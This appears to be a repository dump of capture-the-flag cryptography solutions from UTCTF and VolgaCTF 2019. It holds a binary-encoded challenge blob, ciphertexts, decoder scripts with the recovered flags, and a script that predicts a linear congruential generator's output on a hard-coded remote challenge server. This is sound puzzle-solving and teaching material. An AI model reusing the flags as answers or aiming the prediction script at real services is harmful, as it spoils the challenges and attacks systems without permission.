00110010 01000110 01110101 01001001 01001000 01101100 01110110 01100100 01010011 01000010 01101101 01100001 01010111 01100100 00110001 01100011 01101101 01010101 01100111 01100010 00110011 01010110 00110000 01001001 01001000 01100100 01101111 01011001 01011000 01010001 01101110 01100011 01111001 01000010 01101110 01100010 00110010 01101100 01110101 01011010 01111001 01000010 01110110 01100010 01101001 01000010 01101111 01011010 01011000 01001010 01101100 01010000 01111001 01000010 01001010 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100011 01111001 01000010 01110011 01100001 01010111 01110100 01101100 01001001 01001000 01010010 01101111 01011010 01010011 01000010 01110011 01011010 01011000 01010010 00110000 01011010 01011000 01001010 01111010 01001001 01000111 01000110 01111001 01011010 01010011 01000010 01111010 01100001 01000111 01101100 01101101 01100100 01000111 01010110 01101011 01001001 01000111 01001010 00110101 01001001 01001000 01001110 01110110 01100010 01010111 01010101 01100111 01011001 00110010 00111001 01110101 01100011 00110011 01010010 01101000 01100010 01101110 01010001 01110101 01001001 01000011 01101000 01101111 01100001 01010111 00110101 00110000 01001111 01101001 01000010 00110101 01100010 00110011 01010101 01100111 01100010 01010111 01101100 01101110 01100001 01001000 01010001 01100111 01100100 00110010 01000110 01110101 01100100 01000011 01000010 00110000 01100010 01111001 01000010 01111010 01100100 01000111 01000110 01111001 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100001 01010111 00110101 01101110 01001001 01001000 01010110 01110111 01001001 01000110 01001010 01110110 01100010 01010111 01000110 01110101 01001001 01001000 01000010 01101100 01100010 00110011 01000010 01110011 01011010 01010011 01101011 01110101 01000011 01101101 01110100 00110010 01011001 01101110 01001110 01111000 01100011 01101101 01010001 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01100100 01101001 01100010 01111001 01000010 01110010 01100100 01101110 01100100 00110101 01011001 00110010 01010001 01100111 01011010 01001000 01001010 01110110 01011001 01101101 00111000 01101000 01001001 01000110 01101000 00110101 01011010 01111001 01000010 01110111 01100101 01010111 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 01111010 01100101 01000111 01110100 00110010 01001001 01000011 01101000 01110010 01100101 01000111 00110100 01100111 01100100 00110010 01110100 01110000 01100010 01000111 00111000 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01001010 01110010 01011001 01101101 00110101 01110110 01011001 00110010 01010001 01110101 01001100 01101001 00110100 01110000 01001001 01001000 01110000 01110010 01011001 01101101 01010001 00110110 01001001 01000111 01110011 01100111 01011001 00110010 01010110 01110011 01011001 00110010 01010010 01111010 01011010 01000111 01010110 01101011 01100011 00110011 01101100 00110100 01001001 01000111 00110001 01111010 01100101 01101110 01001010 01110110 01011001 01101001 00110100 01100111 01010101 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110011 01001110 00110100 01100011 01010011 01000010 01101011 01100010 00110010 01101000 01101011 01001100 01000011 01000010 01010100 01001010 00110010 01011010 01110110 01001001 01000111 01010010 01110010 01100100 01010111 00111001 00110100 01001001 01001000 01100100 01110000 01001001 01001000 01100100 01110110 01011001 00110010 01001110 01110010 01100011 01010111 00111000 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001010 01110110 01100101 01101110 01011010 01110010 01100010 01010111 00111001 01110101 01001001 01000111 00111001 01101101 01100010 00110010 01001010 01110000 01001001 01000111 01110100 00110010 01100101 01101110 01001010 01110010 01100010 01000111 00111001 01101011 01100011 00110010 00110000 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01001001 01000111 01100100 01111010 01011010 01001000 01001001 01100111 01100001 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 01111001 01000010 01101011 01100101 01010011 01000010 01110010 01001001 01000111 00110101 01111010 01100011 01001000 01000010 01110110 01011001 01101101 00111001 00110100 01011010 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01001100 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01100101 01000011 01000010 01110010 01011001 01111001 01000010 01110010 01001001 01000111 01001110 01101100 01100010 01000111 01001110 01101011 01100011 00110010 01010010 01101100 01011010 01001000 01001110 00110101 01100101 01000011 01000010 01110100 01100011 00110011 01110000 01111001 01100010 00110010 01001001 01110101 01001001 01000101 00110001 01110010 01100101 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100011 01001000 01001110 00110100 01100010 01101001 01000010 01101011 01100011 01101101 00111000 01100111 01100011 01001000 01001110 00110100 01100001 00110011 01011001 01100111 01100011 01001000 01011010 01110010 01100011 01010100 00111000 01100111 01100011 01101110 01001110 00110100 01011010 01000100 01101111 01100111 01010010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100100 01101101 01110100 01111000 01001001 01001000 01001110 01101010 01001001 01001000 01000110 00110101 01100011 00110011 01101000 01111000 01001001 01000111 01010010 00110101 01001001 01000111 01111000 01110110 01001001 01001000 01101100 01110111 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100101 01010111 01001010 00110011 01100001 00110010 01010001 01100111 01011010 01010111 01010010 01110111 01100100 01101101 01110100 01111000 01100101 01111001 00110100 01110101 01001100 01101110 00110000 01100111 01001100 01010011 01000010 01101110 01100011 01101110 01001110 01110100 01100011 01101001 01000010 00110011 01100010 00110010 01110100 00110100 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01001000 01001110 01110111 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01101010 01100010 00110010 00111000 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01000010 00110110 01100001 00110010 01010010 01101011 01100010 00110010 01001010 00110100 01001100 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101110 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 00110010 01001101 01100111 01100011 01001000 01101100 01101001 01001001 01000111 01010101 01110011 01001001 01000111 01010001 01110011 01001001 01001000 01000001 01110011 01001001 01001000 01011001 01100111 01100001 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01001000 01000101 01100111 01100001 00110010 01001010 01110110 01001100 01101001 01000010 01001010 01100101 01010111 01010101 01100111 01100010 01010111 01110100 00110100 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01100100 00110101 01011001 01101110 01010101 01100111 01100101 01010111 01010110 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01101001 01100010 00110011 01100100 01110010 01100011 00110011 01101000 01111010 01100101 01001000 01000101 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01011001 01111001 01000010 01110011 01100001 01010011 01000010 01101001 01100010 00110011 01110000 00110010 01100001 00110010 00110001 01111010 01100101 01001000 01000101 01100111 01011010 01001000 01001010 01110110 01100100 01111001 01000010 01110010 01100101 01000111 00110100 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001010 01101001 01100011 00110011 01101000 01111000 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01111010 01100101 01000011 01000010 01101011 01100011 01101101 00111000 01100111 01010100 00110011 01101000 01111000 01100100 01101110 01001110 01101010 01100011 01101001 01000010 00110010 01100001 00110011 01101000 01111000 01011010 01010111 01110100 01111000 01100010 01111001 00110100 01100111 01010011 00110011 01101000 00110101 01011010 01001000 01001010 01110110 01011001 01101001 01000010 01111000 01011001 01101101 00111001 01110010 01011010 01000011 01000010 00110011 01100010 00110010 01010010 01111001 01100101 01010111 00110100 01100111 01100011 00110010 01001101 01100111 01011010 01001000 01101011 01100111 01011010 01010111 01001110 01110110 01001001 01001000 01000010 01101001 01100010 00110010 01000110 01101100 01100010 00110011 01101000 01110100 01100001 01010011 01000010 01110010 01100101 01000111 01110100 00110010 01100001 01010111 01001110 01111010 01011001 01111010 01101111 01100111 01011010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000011 01100100 01110110 01001010 01111001 01000010 01101010 01100011 01101110 01101100 01101110 01011001 01111001 01000010 01101100 01100101 01101001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01001000 01101100 01110111 01011010 01000111 00111001 00110100 01001001 01001000 01001110 00110100 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110010 01100100 01101110 01110000 01111001 01100001 00110010 01111000 01110110 01011010 01000011 01110111 01100111 01011001 00110011 01101011 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01100100 01101010 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01010010 01111001 01100010 01111001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01010010 01110110 01100001 01000111 01010001 01110011 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110010 00111001 01110101 01001001 01000111 01111000 01110000 01001001 01000011 01100100 01101011 01001010 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001110 00110101 01001001 01001000 01101100 00110100 01001100 01101001 01000010 01011010 01100101 01000111 00110001 01110110 01001001 01000111 01101100 00110101 01011010 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01001001 01000111 01110011 01100111 01100011 01000111 00111001 01101110 01001001 01000111 00110001 01111001 01100001 00110010 01001010 01110010 01100010 01010111 01010010 01110110 01011001 01101101 01001101 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01110100 01100001 00110011 01100111 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01001010 01110110 01011001 00110010 01010001 01100111 01100101 01011000 01000001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01100100 00110101 01011001 01101101 00110101 01101010 01001001 01000111 01111000 01110010 01011001 00110010 00111001 01110101 01001001 01001000 01101100 00110100 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01001110 01111001 01100101 01010111 01100011 01100111 01011010 01011000 01101111 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000101 00111001 00110100 01100011 01011000 01011010 01111010 01011001 00110011 01001001 01100111 01100100 01101101 01110100 00110100 01100011 01010111 01010110 01110010 01100011 01010111 00111000 01110101 01000011 01101110 01001010 01101110 01100001 01000111 00110101 00110100 01100011 00110010 01010010 01101101 01100101 01011000 01001110 01101011 01100100 01000111 01100100 01101111 01100100 01010011 01000101 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01101100 01111010 01011001 01010111 01110011 01100111 01011001 00110011 01010010 01101111 01100100 01001000 01010110 01110000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01110000 01110010 01100010 01101110 01010010 01101111 01100001 01000111 01110100 00110100 01001001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01011010 00110010 00110101 00110100 01100011 00110010 01111000 01110000 01100011 01010011 01000010 01111001 01100001 01011000 01001110 00110101 01100101 01010111 01110100 01101111 01100010 01101101 01110011 01110101 01001001 01000111 01101100 01110010 01100101 01000111 01110011 01100111 01100100 01001000 01010101 01100111 01100011 01111001 01000010 01101010 01100101 01011000 01001110 01110101 01001001 01000111 01001110 01101110 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01100111 01100011 01010111 01100100 01101101 01100101 01000011 01000010 01110000 01100011 00110011 01101000 01101100 01001001 01000111 01110100 01101010 01011001 00110010 01100100 00110100 01011010 01001000 01010101 00110110 01001001 01000111 01011010 01101011 01011001 00110011 01101100 01111010 01100010 01101110 01110011 01111010 01100001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01001101 01010100 01000010 01101111 01011000 01111010 01000101 00110001 01011000 00110011 01001001 01110111 01001101 01001000 01101100 00111001 01001100 01101001 01000010 01111000 01011010 00110010 01011001 01100111 01100100 01101110 01010010 00110101 01100101 01010011 01000010 01101010 01100100 01000111 01101000 01101100 01001001 01000111 01010010 01110000 01100011 00110010 01010001 01100111 01100011 01111001 01000010 00110101 01011010 00110010 01010001 01100111 01011010 00110010 01001101 01100111 01100011 01101110 01101000 01111000 01100010 01000111 01010010 01101110 01100010 01101110 01101000 01111010 01100010 01000111 01101100 01111000 01001001 01001000 01010010 00110001 01001001 01001000 01000010 01101101 01100100 01010111 01010001 01100111 01100101 01101101 01011010 00110000 01100101 01010111 01010110 00110000 01100001 01000111 00110100 01100111 01011010 00110010 01001110 01101010 01001001 01000111 01010010 01110000 01100100 01001000 01010101 01100111 01100100 01010111 01100100 00110100 01011010 01000011 01000010 01101110 01011001 01111001 01000010 00110110 01100011 00110011 01010110 00110000 01100011 01101001 01000010 01101001 01100001 01000111 01100100 00110010 01100101 01010111 01110100 01101100 01100010 01101101 01110011 01110011 01001001 01001000 01001110 01101111 01011010 01010011 01000010 00110000 01011010 01000011 01000010 00110100 01100001 00110011 01001110 00110101 01100101 01011000 01000101 01100111 01100100 01001000 01010101 01100111 01100001 01000111 01100100 01101011 01001001 01001000 01010110 01101110 01001001 01001000 01110000 01111010 01011010 01010011 01000010 01111010 01011001 00110010 01010010 01110010 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01110101 01001001 01000111 01101100 01101110 01100010 01000111 01110011 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01110100 01101111 01100011 01000111 01100100 01111000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01001010 01110000 01100011 00110011 01101100 00110101 01100001 00110010 01101000 01110101 01100001 01111001 01000101 00111101 2 | -------------------------------------------------------------------------------- /utctf-2019/jacobi-encryption/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utctf-2019/jacobi-encryption/flag.enc: -------------------------------------------------------------------------------- 1 | 3ad3750f859c2c8fc1eb2076f876322cd17421c1cff88,0,0,0,3a46387fd709d3b4692cab59248ad3f426e9b8cd5bffe,0,2a6670878e3f48cfd5abcb7940b6df1d22650a438e905,0,5b9c517cca0d3ab82864545d1c943d8ab198650830b38,0,0,0,38e4b15d3ce5567cc7257cc8bb6b205caf2019b35f2a6,0,35bd6c7234811aef80bfee6245fbde8242b056730138a,ec3fffb29bfe1b8473bd2ea04898d3b8ae280cdd599,21498339f1250e7a6ad9d3de38ab4570cc5ae6e1abf1d,0,0,2e41759047b358d16001106dbed035c2988cc70e3465a,515d722c387c1ff1b3d82df07d9ab8d768601fd289977,0,0,5dcd5fb5ed0889a57b6d7f861465ab8bb0bacdf3c9015,3bea61e3ae79cfce65313ad0f3a5c06756718cdfe6dbc,0,0,32526a618b4a68f0f500e2c28b28657a685ef921ccb1e,0,0,2b2de511c67be3942f813642fc86ed58d3336cc545366,8b388f5ad9f9bcbfdbfd56448d31109cbda3b9a6a19e,1849b58830e2b2a4aec0f2e2402baf24e359bb2d2d597,0,0,182a15af9f447ae092b99cd4a92d3cbfa3e59b873df9d,47805e2beb12898f8ca786bf44c574e14fda72413441e,5e428ab03b0a59994e2665ab47b460c07a5c287ffa83e,c2b05078b5d5e4b4b16d63d3605e8e9168c094f9e49e,0,137e41ffaab7b673f9f66b124ec7c3d5cf6f35a6c027b,0,0,7013fd7be70e60d8466620b91322d2df1423fc3448c7,20a04d2503190d2dc212f3142954ad03b034d350705d0,0,0,0,38674cf6d907f0489eab987a92a226e696cb57756c1fd,0,0,0,0,49c93d181739024dfba0249ecdecd85d35fc2e3438c68,0,0,412b046edde3a94a3f1a0eb6e3c7239e143d0858c7579,0,0,21dc7b7db7e1f67072e1012df0f95da988984602c5040,2482d2a9798e2f818aca743ade524ad78d426787964e0,0,6481395ddbf7ff011854984fbfcdb68a4646d3d0a46c,5047bc50b4c717d50e70767b6337c0e288130689dd21d,b4c98854e437c12beb0092f5ab92e0ef03f24147bd57,0,0,3345f0bc3edf8c21b2fdf591557284f4ddcc90ec468b,0,4a34e17584c919b7dd2ba15f61a6761079590b274f236,4c4e57670dd3386e3f1d5ffb4a03e67c3cce8124fea02,0,20afc75c61bb13ecd4b8022e46ccb61430a1e9b1e3686,0,0,1c82bfae00e66d895126efa79559ce865dd3d10f48416,28afec1451036a90be5da04dbf130597fa7b5b9b96849,0,ee9fbef355f06e79fa1266786f203e67ba9ec5feebe8,350d1cefe02c55b2e53b2179bd61e5e4a8c56b0e767f7,5041e4ee83daf2e49d780330159b6cc1f0b2b04e69a1f,0,4cfbf617c552b79041891c882676111b05737f14c4427,0,0,0,0,0,49649168966fafd1ad13a557fbf288f1f334215035746,0,0,0,152e4e8604810791cffc63625c7bba32186d0b447ccc0,0,47e19816c3d743a62f8667030cf586ab9c74fe3d1e589,0,2447268356aac34514fd1a20f3ee9a5a6c68d5f9a20eb,0,21d82ba5f1dbee7b7d2a277fdf8778d979a6e6103a45c,0,0,0,0,0,3530fd4cfc21cfbe5cea85b058759768c67573b2a28a4,0,0,0,5c18b79bc7dbc03b158187afdca3e1667f20e1b44159e,417e9f2a0820298963144bbb205b9598baebeb6c952c7,d873894e2c210d5a5abecf22fb2b933bc3591bc42165,1053349f683a86ccf76667690c4e08a0a1359da67dea,30a7e917ad4a7edb8387f60a7d90bcc68b2abf1891059,0,0,1a0bb932e2d13139f649c98715952fb7986c663a6f24a,2ca00c675427fef81114c1052759a4e9313b2a4b4fe74,491769cbfb1825c85b02ac643547e0c5ffebb12a05d2,43ca5a52e5780ff99d51348f8f299c7f48b6bde7f8721,0,3dab706ec6906ee37c29cd807a7964dc95ec0d6c34968,0,0,0,0,8076cbc4fa82b9109f695e38d7fb8802c4b140238d5c,862773d42f56151c94b3c24606edaab8d12b4f38aa56,0,3d8ea2f2a54bc99dbd5a9c4a09bbeeb9f8f89f2fd4ec6,0,1a1162d8005591a6d9d255a3c64963dd6c2b5a63235ae,0,0,0,0,0,1ef1bd3f838744fb34cf07a4c4ba688a02c9fb550fea3,0,0,424d57bf5cdbe479ea7596d30348635b7017de83045af,422611e1297e811988effe0ae7973639b6fe95640feae,5925ea727f426aad4faa619c692f2040da956dde9c0b4,21b03f7303387078d1ecc723b5b9b82d864a950e8ae18,0,2acf2d1844e64941997d42f6634222cfea9bb8f1c6c3a,0,0,0,2652f587a28e0bc9fccc9266f4d4fd24dd009b311c029,0,1b018b971ad55025ce3150dfcab3f476b5a8a51e97cc9,31b3629e20a25d917acda299cee182df23e84933e1fc7,2cdecd0635ef68af1b49deba4d4c5f368290731b12955,0,0,0,59af6719c0d73625fb24c6054ddc947d9007777832bb5,0,3f51ceffcda71936ed3d49505d2e855a93f70bcf4d680,56b5003cf8674e0b50e41a7ead88b35c934c665f99eaf,1e13bf35815787e44009499c4d828e33136f4b934e8c6,0,0,1dc0e943e8bdd0afb8c769fe57b59249fd8a513f6472c,4995b3983e52801940feca4e4ad772f7f988d794808e3,0,5a4d18df6303ae5d27d730e9ec03879a9354d6ac9bb6e,0,576ff5eb2ef65e2742980cd4dcd908c92ee777792c1ba,0,0,69455d800e45b163ebabf42796fa489b37674d36e9be,0,0,0,21acac2b8223dff389be96cdc894a7a99a32599d472ce,870c33409d4bc8049b72a5ffce00f229821bcdafe053,0,0,0,52b4d9258e96c4be687f712a08c9ec9c7daba01bcd74c,0,3643b13ffb3ee5208e557abb03697468ff9ce6c5d8bf3,50ef19f0f625bb8e3ab2915201bcf9ae0b40656bbee49,1056670d4c3ea98038f8ecd74440033aeff3064a2e005,0,0,22698fa2d377aee3f2a63c288f17fe2d1061b61b62b94,0,26faa98d38033cfb0653b447d8a7f268f68ab8e51f252,1f5b0997e693c897caec45f5ea38cb24b4ddd27422fec,0,4bb0e445302f5b28ee3e7b36a93dd2e8d12eaa3119772,0,0,4d42df71d8e24a1424eed881c1302f6c21114b1ba84f4,0,0,0,0,312607440a6ec3fdb8401d1db690de41dfeae70cfaefe,0,0,3f620fe471b5b59218c1e554fffc64066e576e09c9b6,0,0,0,23cd34716eaa5762d59728699783cb51d8f87525ab2c8,27f24f062089f67afac376186335fbbd6da4ab6803bf1,0,27811be1b34c349949a7d7de701438ace3f22ab3857b4,0,0,0,0,0,c2937375f4db8464dc81875295ff47d897b749572cb0,0,0,1a2425e6231a8b2dfd59b171ac2fa39a54c1c5f2bc18c,0,4601f4a99029129f673dae90c2b8f08ac77c9acb2b67a,2ce224a2c3f3927658c98890201c41e1485ab81773447,0,17f9f932dbb1f2aa279be9b5751d3e461ea97b79fec18,0,0,467cd79faa40ffef1f69490c3205efef24847eb95c313,0,0,0,931f3df14edaf21ebfc1243b1bb065fa128d6f112f10,30671798eb74ea9593b5dd38710f672d25a48d5cab263,0,1e39d859b972edb5f25c0fc197137e89892361ed6c919,0,0,0,0,0,fb0da1dfe3749d91d7260425b08f23b35d22b4a60512,0,0,61718b9028558be04f9af538877bd5fea45000351480,0,0,0,5a225a78daed3e0a2ca3b09629d2e98d37e0ecb48806c,12862b5946fef0d125e0a24fadb0ea567f40b37c8f984,0,0,0,206ecdbbd50a6800ab5bc293b47c2c784bac7578a8ba5,0,481528aa7c00de41818b4a24ebddefa48533dc43a678d,0,4d09c1ead0061318a6410214fbe0b0ccc72056835583d,0,0,45c40da5f6ed58e0851f635117d8162094814d4a10f6e,0,0,49d96e0bcf458bf606c812d4c3c9a7a3b8b4cb41482ef,0,2a0381519bd15dfce996317d3582f858eaa4a0ec0d5e1,0,0,2c1051612093e8e2149f4e2b9b71fc08bf2b1830d7b0b,486bd7ef1b04a2b282d6232e33b6bc72aeb7e971c1238,1c6afa8a2da6e0ea764fd4e0d8a7866111e1afc80ca3e,0,208090933fe494e5e2866f08875a43c0bad38e2138513,406221453e74594ff0a78ad722752655387ac5d17361,0,0,5ebf43af7a6387ee99da56a5135fca5a2c3776c074315,1b5340564c3fcfa9b7aff92de27759b62b2b8e73d5f1e,0,2739b0fd92f8a9304fba5495b0e191087d754ce0b394,0,6416febf2962928a8ef5120576b85de04cf822fe49fe,0,0,0,3e5b4cd5335bce2416b2bdcf69749a058ca3086823af3,33e4a2d274d064bc3b411571cca3d6c2d85404f3ea7b4,0,115ac281bf28f5059ec51c4650d23b6c4a9f454e1b20c,25d011ee737648a87e60e3b97be76c8a9dd3268361796,0,425ed19ba98db56a50e4a298fda5fa9715ab74017a13a,0,0,0,0,0,98ac380fadcde93784206cdbae7a9bc1dda3a92f0e8d,0,0,0,14a9f8eefe6c1aea36c0f011bc6f5fc87fad4510a2868,0,2fe9b18543777aa26ebcdf46e1fc3c652525a2a4a082f,4689ab7aaddd26b88e44abbf52ce6cbf741000c4306e2,87fa26f9a0e9edb1d0ae9145b79d537ce31e5757d8da,0,0,352d826b6b3dfab4c5ada55f2820bea15f98a1e52d304,0,36492d9686ff9b087f76d6ca0be42a9d4a4fd210836a7,dec4371651f6be401e348fdeddb35a94f3b4df6f787c,2450d35d7987a8f8925f4f237b074a40579370a702a7a,bbffc03f22ee8828ad4440c51ab64c8489f443587ade,0,0,1eb996e05dd1768b73e431f67bbdd6c8407cf05539bdd,42af69f6f1de85ebd85d524ee0c880d17a54717b725a4,0,58a7fd168e149a79b4a4334d1d45166fb819e9bae98c,0,23ee10dbd81466fa2f8ecd88262acc81fd55ea565b2ae,0,0,17af0a96a9b2e7e3312bd69df2a5e30c0f196fbaf8d9,0,0,0,0,3b07b9ac09699fb2e689e24323069f5bf18f9cbcbfd12,0,0,0,21696dbfd09e07b904268332fdbfe9183c9128af58580,59ac9552519d6071903d42e04505f36e46ff7e4dc8f04,0,5cf547a07a1aa5f22d735f13e03dd9c218e69a98742ad,f5328872b06391032c8e4f43667c2817a4edad3a2bf1,0,0,0,0,4e590f3ecab6d14a5fe0ca2e77c4aa15a067e96ac3756,dfb2129fe24a885115f47ffe263b606b98e811f57956,0,2540f861746a56c303d83bf411ed5306c584d66ffaab5,0,0,0,0,0,3d9c6045b72e8c8e8681770056e640adf00770a3f93b5,0, -------------------------------------------------------------------------------- /utctf-2019/jacobi-encryption/solve_jacobi.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | f = open('flag.enc', 'r') 4 | l = f.read() 5 | final = '' 6 | for m in l.strip().split(','): 7 | if not m: 8 | final+='' 9 | if m != '0': 10 | final+='0' 11 | else: 12 | final+='1' 13 | print unbits(final) 14 | -------------------------------------------------------------------------------- /utctf-2019/tale-of-two-cities/solve.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | 3 | mand=u"㐾㐻㐌㐟㐀㐏㑖㐄㐓㐀㐴㐀㐄㐻㐉㐴㐷㐻㐾㐇㑎㑟" 4 | codepts =[] 5 | 6 | offset = 0x3400 7 | 8 | for m in mand: 9 | ans = int(hex(ord(m)),16) - offset 10 | codepts.append(ans) 11 | 12 | hashmap_char= { 13 | 'a':0, 14 | 'b':1, 15 | 'c':2, 16 | 'd':3, 17 | 'e':4, 18 | 'f':5, 19 | 'g':6, 20 | 'h':7, 21 | 'i':8, 22 | 'j':9, 23 | 'k':10, 24 | 'l':11, 25 | 'm':12, 26 | 'n':13, 27 | 'o':14, 28 | 'p':15, 29 | 'q':16, 30 | 'r':17, 31 | 's':18, 32 | 't':19, 33 | 'u':20, 34 | 'v':21, 35 | 'w':22, 36 | 'x':23, 37 | 'y':24, 38 | 'z':25, 39 | '{':26, 40 | '|':27, 41 | '}':28 42 | } 43 | 44 | oeis = [ 0, 1, 2, 4, 5, 7, 9, 12, 13, 15, 17, 20, 22, 25, 28, 32, 33, 35, 37, 40, 42, 45, 48, 52, 54, 57, 60, 64, 67, 71, 75, 80, 81, 83, 85, 88, 90, 93, 96, 100, 102, 105, 108, 112, 115, 119, 123, 128, 130, 133, 136, 140, 143, 147, 151, 156, 159, 163, 167, 172, 176, 181, 186] 45 | 46 | f_dict = {} 47 | 48 | for k,v in hashmap_char.items(): 49 | f_dict[k] = v + oeis[v] 50 | 51 | flag="" 52 | 53 | for i in xrange(0, len(codepts)): 54 | flag+=f_dict.keys()[f_dict.values().index(codepts[i])] 55 | 56 | print flag 57 | #utctf{characterstudy} 58 | -------------------------------------------------------------------------------- /volgactf2019/LG/solve.py: -------------------------------------------------------------------------------- 1 | import random 2 | import gmpy2 3 | from Crypto.Cipher import AES 4 | import sys 5 | import os 6 | from pwn import * 7 | 8 | context.log_level='DEBUG' 9 | 10 | def calc_det(i,j,X): 11 | """ Calculate the values for the matrix[lattice] """ 12 | a1 = X[i] - X[0] 13 | b1 = X[i+1] - X[1] 14 | a2 = X[j] - X[0] 15 | b2 = X[j+1] - X[1] 16 | 17 | """ Calculate the determinant """ 18 | det = a1*b2 - a2*b1 19 | return abs(det) 20 | 21 | def GCD(a,b): 22 | """ Euclidean Algo""" 23 | a = abs(a) 24 | b = abs(b) 25 | while a: 26 | a,b = long(b%a),a 27 | return b 28 | 29 | 30 | r = remote('95.213.235.103','8801') 31 | r.recvline() 32 | r.recvline() 33 | X=[] 34 | X.append(int(r.recvline().strip('\n'))) 35 | X.append(int(r.recvline().strip('\n'))) 36 | X.append(int(r.recvline().strip('\n'))) 37 | X.append(int(r.recvline().strip('\n'))) 38 | X.append(int(r.recvline().strip('\n'))) 39 | X.append(int(r.recvline().strip('\n'))) 40 | X.append(int(r.recvline().strip('\n'))) 41 | X.append(int(r.recvline().strip('\n'))) 42 | X.append(int(r.recvline().strip('\n'))) 43 | X.append(int(r.recvline().strip('\n'))) 44 | 45 | Det_X = [] 46 | Det_X.append(calc_det(1,2,X)) 47 | print Det_X 48 | Det_X.append(calc_det(2,3,X)) 49 | print Det_X 50 | Det_X.append(calc_det(3,4,X)) 51 | print Det_X 52 | Det_X.append(calc_det(4,5,X)) 53 | print Det_X 54 | 55 | found_p = GCD(Det_X[0], Det_X[1]) 56 | found_p = GCD(found_p, Det_X[2]) 57 | found_p = GCD(found_p, Det_X[3]) 58 | print found_p 59 | mod_inv_a = gmpy2.invert((X[2]-X[3]), found_p) 60 | print (X[2]-X[3])%found_p 61 | found_a = ((X[3] - X[4])*mod_inv_a)%found_p 62 | print found_a 63 | 64 | found_c = (X[4] - found_a*X[3])%found_p 65 | print found_c 66 | 67 | nextNum = (found_a*X[-1]+found_c)%found_p 68 | print str(nextNum) 69 | #print "Next Num seems "+str(nextNum) 70 | r.sendline(str(nextNum)) 71 | r.recvall() 72 | -------------------------------------------------------------------------------- /volgactf2019/shadowcrack/solve.py: -------------------------------------------------------------------------------- 1 | hmap = {'x':'b', 'a':'a','_':'z','n':'n','u':'t','f':'j','o':'x','l':'w','d':'g','m':'q','z':'_','y':'r','c':'e','t':'o','e':'i','v':'h','p':'y','s':'d','g':'m','i':'v','r':'l','h':'p','b':'k','q':'c','k':'u','j':'s','w':'f'} 2 | flag="" 3 | for c in a: 4 | flag+=hmap[c] 5 | print flag 6 | 7 | #pass_hash_cracking_hashcat_always_lurks_in_the_shadows 8 | -------------------------------------------------------------------------------- 